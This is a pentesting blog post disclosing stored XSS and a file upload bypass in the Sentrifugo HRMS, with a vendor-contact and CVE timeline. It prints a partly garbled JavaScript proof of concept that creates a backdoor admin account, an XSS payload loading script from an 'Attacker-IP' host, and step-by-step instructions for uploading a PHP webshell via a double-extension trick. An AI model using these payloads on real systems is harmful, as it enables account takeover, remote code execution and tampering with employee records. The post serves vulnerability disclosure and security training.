Back to Posts

Sentrifugo Exploits

Posted in Pentesting

Advance your Pentesting Skills at Slayer Labs! Networks Engineered to Exploit.
- Windows/UNIX - Domains/Subnets - Access/Post/Lateral - Low Cost VPN Ranges -


Sentrifugo is a free and open-source Human Resource Management System (HRMS) primarily written in PHP with many user controlled features. After doing some research on version 3.2, I discovered multiple stored XSS vulnerabilities and a few file upload restriction bypass vulnerabilities. I wouldn’t consider the vulnerabilities advanced, but would still like to showcase the exploitation process.

First I’ll cover the XSS vulnerability then onto the File Restriction Upload Bypass. Skip past the XSS section if you only care about the upload bypass.

XSS to Session Riding

This app is loaded with user controlled fields, and a few were discovered during my testing that did not sanitize user input leading to XSS and eventual CSRF(there are probably more). One in particular is the Certificate Description field in each users profile.

Like other CMS apps, the admin configuration allows for the creation of custom security groups. In my testing, every user had the ability to edit their profile/details, even the low priv users which is why we’ll focus on this vector.

Since this is a HRMS, one of the higher privileged user groups is the HR Role which has access to most features in the app, including user creation. We’ll be “targeting” this user for session riding aka have them view our XSS.

In this scenario the goal will be to:

  • Create the PoC aka sessions riding request in javascript to create us a new backdoor admin user.
  • Leverage the XSS vulnerability to reference the PoC as a javascript source file.
  • Spin up a web service on our attacking machine to host PoC.
  • Tail the access logs and wait for victim to view our Certificate Details, ultimately executing our javascript and creating our backdoor user.

    The PoC

This can also be found on exploitdb, and will need to be customizer per Sentrifugo instance. Most info can be obtained via a low privileged user, which is how you’ll be adding the XSS. Can you see what the request will do?

function execute()
  var nuri ="";
  xhttp = new XMLHttpRequest();"POST", nuri, true);
  xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhttp.withCredentials = "true";
  var body = "";
  body += "\r\n\r\n";
  body += 
	"id=&final_emp_id=EMPP99&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=99" +
	"&firstname=Bob&lastname=Blah&modeofentry=Direct&emprole=2_1&" +
  return true;


Using a XMLHttpRequest(XHR) this js file will create us a user Bob Blah with email By default the email will have to be valid in order to retrieve the randomly generated password. Otherwise if you’re testing locally you can update the hashed password via the database. Again most params can be obtained (or guessed) as a basic user.

The Exploit

Now add the XSS syntax, in the Certificate Description - <script src="http://Attacker-IP/add-admin-user.js"></script> and save.

alt text

Now the exploit is in place, the webserver is spun up with logs being monitored. Again, once a user with the HR role views our certificate details, the XSS will trigger, requesting our malicious javascript file which then makes an additional XHR request to create the user Bob Blah, all while hidden in the background unnoticed by the HR user.

In this gif we are the HR user (alice) in the web gui and monitoring Sentrifugo web server requests at the bottom. The upper left is our attackers apache access log.

alt text

As we can see, Alice clicks Wayne’s certificate info with nothing suspicious in the description. Then our PoC is retrieved according to our logs, then executed with a 200 response by Sentrifugo. Great we have a backdoor user.

The XSS can be leveraged to do plenty of fun(or dangerous!) tasks in the HRMS. Some include:

  • Company Announcement - Create an “Announcement” that gets blasted out to all users, making it look like it came from the HR user. Also has an additional XSS vuln in the description, which could allow the attacker to XSS/CSRF everyone!
  • Add Employee Leave - This one is tricky to craft due to needed parameter knowledge, but worth it if you need a vacation ;-)
  • Background check - Update or add employee background check status..yikes.
  • Disciplinary Actions - Manipulate existent or non-existent disciplinary records. “How does Bob still work here?”

I’d definitely recommend this app to anyone interested in learning more about the potential of XSS and/or Session Riding. It’s a little buggy and sort of a pain to get spun up, but has plenty of juicy vectors to explore. Of course, only use this in a secure lab environment you have permissions to.

On to the next discovery…

Upload Restriction Bypass

This vulnerability allows any authenticated user to bypass file upload restrictions and potentially upload a webshell and view/access it unauthenticated - edb post is here. The locations discovered:

  • /sentrifugo/index.php/mydetails/documents – Self Service » My Details » Documents (any permissions needed)
  • /sentrifugo/index.php/policydocuments/add – Organization » Policy Documents (higher permissions needed)

We’ll focus on the first one. After selecting a few dangerous file types, the server responds with what seems like a white list of allowed file types.

alt text


Discovering the code is always a pain, but in this case it can be found without much hassle by noting the upload request parameters. With a combo of the following linux commands one could land upon the file check location manually.

 find -type d -name "employeedocs"
 grep -irl "docx"
 find -name "employeedocs"
 grep -irl "uploadsave"

Location with juicy snippet:

// /application/modules/default/views/scripts/employeedocs/edit.ajax.phtml

                // Hide loader when uploaded file is not in allowed file types
                var ext = uploading_file_name.split('.').pop();
                var arr = new Array('jpg','png','jpeg','gif','doc','docx','pdf','xls','xlsx','zip');
                if($.inArray(ext,arr) == -1){

It seems the entire file being uploaded is split/cut with the delimiter of “.” then only grabs the last field to validate aka pop(). Any ideas on how to bypass this initial check? As long as the last extension is valid (ex: shell.php.docx) the file will pass. Either way it can be altered in burp as long as it passes the initial (and only) check.

alt text

Great, passing the check worked. At this point all we did was pass a simple check, and if luck is on our side a few more conditions need to work in our favor.


Luckily in our case, the filename AND content-type can be altered with a web proxy such as ZAP or Burp. Updating these two parameters are essential otherwise the shell will not function. In addition the upload directory will need to be accessible by us, which in our case it is (no default protections in .htaccess).

One more hurdle, the app prepends a unique extension ID to the original filename, so if indexing is off how would we find the unique new file name? Well, it seems the filename is added in the request body when sending the POST request for the final upload!

It appears the stars are aligned and we can test the exploit process. Summary of steps to complete:

  • Turn intercept on in Burp
  • Select file to upload with valid extension - shell.php.docx
  • Alter /index.php/employeedocs/uploadsave request to include:
    1. PHP webshell code in body
    2. Valid .php extension
    3. New content-type of: application/x-httpd-php
  • Click Save
  • Check Burp with new request and copy the new file name
  • Verify valid Webshell and append to upload path.

As seen in the gif, the whole process takes place.

alt text

Upload complete, now onto checking the webshell…

alt text

Great we have a simple webshell.

alt text


  • 7/25 - Email sent.
  • 8/01 - Sent another email adding additional address.
  • 8/12 - Posted issue on github.
  • 8/30 - Received CVE ID and posted to EDB.

(no response from vendor)

Custom Cyber Ranges >>

Read Next

Quick bit on BITS